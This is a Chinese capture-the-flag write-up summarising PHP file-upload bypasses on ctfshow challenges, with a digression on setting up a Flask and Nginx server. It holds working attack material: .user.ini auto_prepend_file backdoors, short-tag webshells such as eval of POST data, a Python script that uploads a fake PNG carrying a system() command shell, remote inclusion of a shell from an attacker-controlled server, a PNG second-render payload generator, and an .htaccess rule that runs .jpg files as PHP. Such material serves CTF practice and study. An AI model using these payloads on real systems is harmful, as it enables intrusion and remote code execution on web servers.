ctfshow-文件上传总结
.user.ini
在每次运行php文件时,会自动去读取这个配置文件,来设置PHP的相关规则
PHP_INI_*模式的定义
| 模式 | 含义 |
|---|---|
| PHP_INI_USER | 可在用户脚本(例如ini_set())或Windows注册表(自PHP 5.3起)以及.user.ini中设定 |
| PHP_INI_PERDIR | 可在php.ini, .htaccess或httpd.conf中设定 |
| PHP_INI_SYSTEM | 可在php.ini或httpd.conf中设定 |
| PHP_INI_ALL | 可在任何地方设定 |
实际上,除了PHP_INI_SYSTEM以外的模式,都能通过.user.ini来设置。而且和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。即修改了.user.ini后不需要重启服务器中间件,只要等待user_ini.cacher_ttl所设置的时间(默认为300秒),即可被重新加载。
后门设置
我们能够自定义的设置是模式PHP_INI_PERDIR和PHP_INI_USER的设置
其中有两个配置可以制造后门
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含,直接将下面语句写在user.ini中即可
auto_prepend_file = test.jpg
或者
auto_append_file = test.jpg
访问方法
直接访问index.php
注意:访问上传目录的index.php
PHP短标签
在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后才可以使用PHP的短标签:
同时,只有开启这个才可以使用<?=代替<? echo
数组过滤括号
使用数组相应函数弹出数组内容
<?= eval(array_pop($_POST))?>
写个脚本
import requests
url = "http://7f10bd72-59b8-49c0-9ad7-79b773290359.challenge.ctf.show/upload.php"
files = {"file": ("world.png", "<?= system(\"{}\")?>".format(input("Please input command:")), "image/png")}
response = requests.post(url, files=files)
print(response.text)
result = requests.get(url[:-4] + "/index.php")
print(result.text)
尝试各种文件头
记一次远程文件包含
- 上传.user.ini文件,使其解析无后缀的文件"22"
- 在"22"中使用include调用http协议请求自己云服务器shell,实现getshell。
注意:有的时候需要使用flask框架搭建的网站,而不能使用index.php
debian下flask环境搭建
安装基础包
sudo apt-get install build-essential
sudo apt-get install libncurses5-dev libncursesw5-dev libreadline6-dev
sudo apt-get install libdb5.1-dev libgdbm-dev libsqlite3-dev libssl-dev
sudo apt-get install libbz2-dev libexpat1-dev liblzma-dev zlib1g-dev
安装Python3
sudo apt-get update
sudo apt-get install python3.6
安装Nginx
sudo apt-get install nginx
# 查看版本
nginx -v
启动Nginx
sudo /etc/init.d/nginx start
停止Nginx
sudo nginx -s stop
安装uWSGI
pip install uwsgi
安装虚拟环境virtualenv
pip install virtualenv
安装网站
首先cd到你做网站根目录的地址,然后
创建:
virtualenv env
激活虚拟环境:
source env/bin/activate
安装flask:
pip install flask
退出虚拟环境:
deactivate
写一个Flask文件
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "你好呀,胡炎凯!"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
开始
进入虚拟环境
python main.py就可以了
将ip转为长地址
32位十进制数
直接请求远程文件
在.user.ini中配置auto_prepend_file=http://xxx
或者配置auto_append_file=http://xxx
二次渲染脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y + 1];
$b = $p[$y + 2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');
/*
<?$_GET[0]($_POST[1]);?>
*/
?>
copy
copy xx/b + xy/a yy
httpd
上传.htaccess文件
AddType application/x-httpd-php .jpg
远程文件包含
auto_prepend=http://xxx
访问.user.ini下的php后缀文件

浙公网安备 33010602011771号